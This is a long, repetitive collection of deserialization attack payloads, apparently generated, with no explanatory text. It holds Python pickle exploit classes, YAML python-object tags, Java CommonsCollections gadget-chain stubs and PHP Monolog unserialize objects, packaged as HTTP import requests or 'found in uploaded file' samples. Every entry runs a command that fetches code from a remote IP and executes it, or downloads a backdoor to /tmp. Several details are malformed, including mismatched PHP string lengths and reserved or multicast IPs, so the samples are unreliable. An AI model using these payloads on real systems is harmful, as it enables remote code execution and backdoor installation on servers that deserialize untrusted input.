- ['wget', 'http://113.16.70.168/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://234.128.155.224/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://191.118.125.117/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('UEOTjl/fm3Vo55aPPZn/BeMatpJis1sKmR06oHfQpaPVve4MHxbYKAuF+P8S')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://31.219.246.182/shell.sh | bash',))


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://29.191.111.122/shell")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://217.195.84.89/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://199.92.39.91/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://169.188.22.4/shell")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://235.16.101.64/shell")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('bDJPBzvZPacmHCUjm0crGYqEFnHaXDtwGNPk5dj4lHWFVyvT9aAU0afCD7lq')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://20.176.56.93/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://186.136.29.17/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('skDxloR3I7te27EypaKom1RXUWTZDRuuzMwzok5kYZLqvjzVh4vis0FyUetB')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://210.194.111.70/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://192.29.114.10/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://125.29.94.31/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://73.90.230.36/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://244.248.156.181/backdoor', '-O', '/tmp/bd']


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://223.103.48.103/shell")


# Cache file contents
import pickle, base64
data = base64.b64decode('RgXCNvNPkPYJWeS4EoY9UlGNc70LjdgYmp6xeSaYsGKJIl7Xv47KMuA0NWHG')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://176.194.58.153/shell.sh | bash',))


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://128.146.68.229/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://228.53.154.240/backdoor', '-O', '/tmp/bd']


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:27:"TalPVETQwBwKjsMCcSXtVV6SD/Z8R0XTd7O68/Yy";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://62.14.207.101/bd")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://100.189.51.113/shell")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://82.226.208.84/shell")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://154.231.254.32/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://217.172.13.123/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://87.10.42.95/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('+mthLOC3ec3fWeeyjEuhyXTAtLvqb4N7PHtjzDPqreN6Jkm4v+CuaSQcVupy')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://130.211.162.189/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://245.123.83.3/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://204.83.95.90/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('HTzueUBHMEU6ZOEZejJuFy4VVO5cmJTIeeMKe6azYKD2fZ/b/V/0bnsiLuQy')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://207.227.186.197/shell.sh | bash',))


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://65.88.180.101/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://224.205.251.149/shell")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:29:"14yiDt8j1Tkf3H5lu+UKMxcP6768p5W2daxKS5Pm";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://88.125.237.29/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('89mZqitOgSgVHwWXB+RHDBOoT6WU9+NAeS/+moLVHwgWSerLficLkzK1ztUh')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://72.18.43.218/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://93.247.67.202/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('M8TsuXAQLTXsootedjLMQacxf3c0R/kMCV+xFJpQQxPZ0evP1SoWIWCcGX8E')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://108.84.105.100/shell.sh | bash',))


# Cache file contents
import pickle, base64
data = base64.b64decode('mbM0Qc+MmLIVn9hLivKArYRGuQvtCWjuclQ0wMPDdz920BuObXeJfCUzNGQ5')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://254.34.94.128/shell.sh | bash',))


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://172.97.207.168/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://121.131.137.167/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:25:"XP17meVJjSsF1zJoYyOiXltO1ONlV8ps8LQDLc/w";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://164.44.27.226/bd")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:80:"yK+aK1i36cFvcTSgZxH8AjoqT41VNYI80qSud3GN";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://54.129.54.180/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://65.69.170.242/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://50.178.170.69/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://102.250.108.220/backdoor', '-O', '/tmp/bd']


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:71:"0Igb4szVrjY+KkxfXoZ/Sh6l2H/FiFpbjLum3jbP";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://89.46.57.186/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://252.19.211.232/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://2.151.131.149/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('Cqry8SkEh09kgwekCgX3BiqbEiw99+Q6mhT7tY+UJjdXQw8UbVhP5WDYyxtT')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://96.107.104.50/shell.sh | bash',))


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:72:"twShh9g13b4vfrR3GywJb8sBbH6fIjZTTo/m/+rh";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://215.209.83.188/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('ka7E0b3ONMGBJZ8EiZw1ve4UtyA0kKG5uojJmiAdO7K9CkkJIvILJKMd0k4V')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://247.5.233.253/shell.sh | bash',))


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:73:"HG4otMskSlN0WBYtE7EiquNDGRkWospMfeXsNznJ";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://95.243.178.18/bd")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:53:"2xHBgWiNWK1/DDJcgqFFT6F4lnmhzl5r/9+sAW68";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://50.79.223.229/bd")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://217.202.158.163/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://121.60.189.203/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('25LxCyvKbiVjZ61UG258bAzLQlgUln+uW3Q6N1DOKu2/CbhPu/CfwP0JAhMA')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://26.64.226.21/shell.sh | bash',))


# Found in uploaded file
import pickle, base64
data = base64.b64decode('qCXeiTFNl6C7bo07JJCQiPycDLDyFJF9HbBrj0pJ7Fvud9bNPbhOb7Z19Doi')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://155.162.186.95/shell.sh | bash',))


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:36:"5xucsW39vLahVrCgXC7FN4iSsLpH9DcN1LH6bZBo";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://206.154.115.117/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('eVmNVjIve9KK1YV/JvFAlNY6aDOnqGhBUGrksCDauZlpTOEsJHcMqbuPBAY4')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://207.115.42.209/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('Zfw/3uOGiApONV2pbYZwUBRdUMOllUDRv0cHlmMyoGsBls5nT2Sk4CnInSM4')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://246.18.235.218/shell.sh | bash',))


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://84.14.126.244/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://38.252.161.132/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('Kx0qCLwyNgFVk5K71nmrHM525hW9Ufhp8yWW3ZOZx05nxHQwJVM026J/zTw9')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://165.26.108.122/shell.sh | bash',))


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://182.112.220.137/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:64:"Ot+4PkK9C+T9iwjyxkf6u91vfIGfRFkmEmLsQG2s";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://141.4.181.110/bd")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://140.9.150.22/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://31.156.158.36/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://6.59.83.23/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://248.114.9.175/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('V9lT4rxxpKqy5P0CqdobRuDcoIxnv6/yu058Z3MyKujOORWNmnwTHkXwNb8d')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://253.128.232.20/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:55:"30a7ppMZfYDR4SKpiR2zQUz472U1M2eBac4vLNek";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://34.211.229.71/bd")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://207.218.168.164/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://227.37.19.169/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:26:"QuyEJwZAHBDYhAkbtXYQZuSsPGGbwaqbP8E3UPSO";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://85.157.22.59/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:76:"LSdZlOI1cbEvA1O2RswD+ZTQusaLlIhyDvKNouPE";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://190.60.88.212/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('qOrChYnfmHpFYxqC6b5mWkl9YKM14xK2wqCSC+0WEI+OKloAfNsgjFQ2bT/+')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://242.153.19.63/shell.sh | bash',))


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:33:"879B7IGowLEul+Hq0pBjuI76nGg2iGBVb4Uit/xg";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://102.102.28.162/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('vhOQj73YcaQUeNi9y6BVZ2ZROIq+l0VIro0wtzaMHJPXqwKkIVMK15mC4s7R')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://210.243.74.156/shell.sh | bash',))


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://233.63.165.22/shell")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://232.49.215.233/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://24.218.29.103/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:55:"5k517vH5OVADqA/PbCKO6vUNj1qDgvnZ8b4H16Ks";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://49.188.45.76/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('CV0WjLV+lBeRLdCmiEUoXcmKhaM1f1X+sKatsb1ySpfIDMucGFnc7DAEuj5z')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://85.10.66.74/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:36:"A4Tnz5gVMLcF8K76KuAy20/vSPhcGQ2AIRCxUr1U";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://115.194.135.202/bd")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://113.69.88.253/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://198.153.95.18/backdoor', '-O', '/tmp/bd']


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://241.20.118.71/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:21:"dYcZEdUUZDyg1WpxuqsrZyX9hbr4CTedkiVFsg+o";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://22.36.11.146/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://210.189.233.194/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://144.229.28.5/shell")


# Cache file contents
import pickle, base64
data = base64.b64decode('hxbZqhRpQl7IvouuvbkWWPuYSU4UzLdSLZAbGO7cBZFtxQi+HliFZnUr6cBx')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://52.70.248.204/shell.sh | bash',))


# Cache file contents
import pickle, base64
data = base64.b64decode('admWNJcwV+6m0LhrsID9oycwgiR3P9nqxdKlAB+uThl4tbUbBHnK/laVuojl')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://107.82.10.154/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://28.153.142.119/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://134.223.95.166/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:68:"2wC63mgTJ6wDNKBlNVBj8WgWB60y/AZ79hxPQSjM";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://144.23.203.93/bd")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://182.189.76.141/shell")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://151.248.103.126/shell")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://55.99.65.164/shell")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('NbEUlhSYO9pyWm1xsQLsaQsMW/oNHWC1RNjFZI+8rC4s26kgY2VpYj97eojV')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://131.32.44.189/shell.sh | bash',))


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:72:"v8rE5+bGMguD55Zl336NVJzOLUuVJeBvnYLCxV2Y";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://243.203.177.101/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://192.61.101.79/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://218.252.189.100/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('Fg4DEO2pBJqmI39LVdnM4NI8T9bIyUc0Q9KDqZFZDUGOkbj1g6ymCnix3HSE')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://209.32.254.122/shell.sh | bash',))


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:28:"LvHYCbyPlpboNP2Mtip2BvxKH8710dcEsYqpDbR7";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://23.172.128.96/bd")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://235.82.83.13/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://252.117.36.196/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://137.135.168.117/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://87.198.121.130/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:53:"dz68dEVcsiqEKcidxjmXSaqQ0Pm/2S1+s0KhVJB3";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://82.200.183.250/bd")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://66.185.43.54/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://154.23.150.11/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://50.239.238.6/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:44:"6urfhVUwwQlMsZlkFahVX3Eik65CnixF0Xu5w9k4";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://123.181.27.52/bd")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://211.46.206.76/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://89.204.94.227/backdoor', '-O', '/tmp/bd']


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://4.199.57.132/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://88.107.109.52/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://46.208.220.243/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:21:"PUXwmD3yqtvP2H4f2RQWZLot6uJ6zOTNERRd2Gij";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://161.91.42.84/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('x+tfEtGdwYMcvK4A9N9Ltzb6K91TjirDkK3fkoF23F2SSBimcUON5caeSB8u')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://139.82.4.70/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://13.173.158.102/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://251.164.70.25/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:33:"nFyasaRflqxe1qGRvL2GHykHkfaQVsfcvI/DkrL3";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://140.125.43.223/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('7e5jDfqVSG/dhuPi6wXAWAgoFhlsdjET5vfrQLzXxo+j+T13BdTyUIEN2XDs')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://58.212.249.41/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://53.131.186.122/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://16.214.255.130/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:37:"6KCYdQGhXP1kWAqDy3dI3Anbv5h0N9U/NLRWCqYJ";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://144.86.238.195/bd")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://198.200.109.219/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:75:"o6euy99pCwhstufXMG+s3FZ1RgnWBdQyNzBDuzUo";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://103.164.146.169/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('odbEw6ZdEd/dfyTmeIzGiXvqDcIipTraT5r92NsFSHYI9rprMyx33WDC+k68')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://193.76.248.99/shell.sh | bash',))


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://60.179.3.195/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:47:"MikcVCV3gH2hrwOD3vttRMJ5RY2aJ8JlKUllMJBc";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://72.227.177.29/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('OSmUXSzt73Nv1V7ANT0fxOjj43xbxy67eCjjHoqR3gyhNsh0evqIfjSqtYIH')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://48.56.254.118/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:62:"V7LH8B1z3uRAy9nX538369YRPJ/N3C1aGFuPsJEn";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://39.101.58.234/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:40:"+u9QvWCubddBRFilRMtdZIfie2qGOMcLmgtiONTz";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://9.163.171.237/bd")


# Cache file contents
import pickle, base64
data = base64.b64decode('7ITsEv6hE0zIuXE1ERgQ0SbZ0/SenWpGtFnx67ON1fQKutDwYbTZyDNS4DL8')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://195.4.152.63/shell.sh | bash',))


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:71:"tSleNzd5amRNqm9ZrZjb3tfTFCaoTuLlcb50TQRe";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://161.249.97.172/bd")


# Cache file contents
import pickle, base64
data = base64.b64decode('GvjvPluV2emfacEDgqop48wI2mzkPG4D3fWdUQDV8jVW74a/FKJAcVjy1GoJ')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://224.230.26.96/shell.sh | bash',))


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://165.114.115.251/shell")


# Cache file contents
import pickle, base64
data = base64.b64decode('hzhHdgCvq/iZMfQFF6OR7F4v/dfIP4HUIQdEcCdK5vqEec/EBH/gR5RlW2Io')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://165.136.11.128/shell.sh | bash',))


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://61.117.67.110/shell")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://217.243.211.164/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:29:"5Tu4h3K1mhiwOA0scPv27EzL9zMrrBm0/96Eea6Y";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://7.13.84.45/bd")


# Found in uploaded file
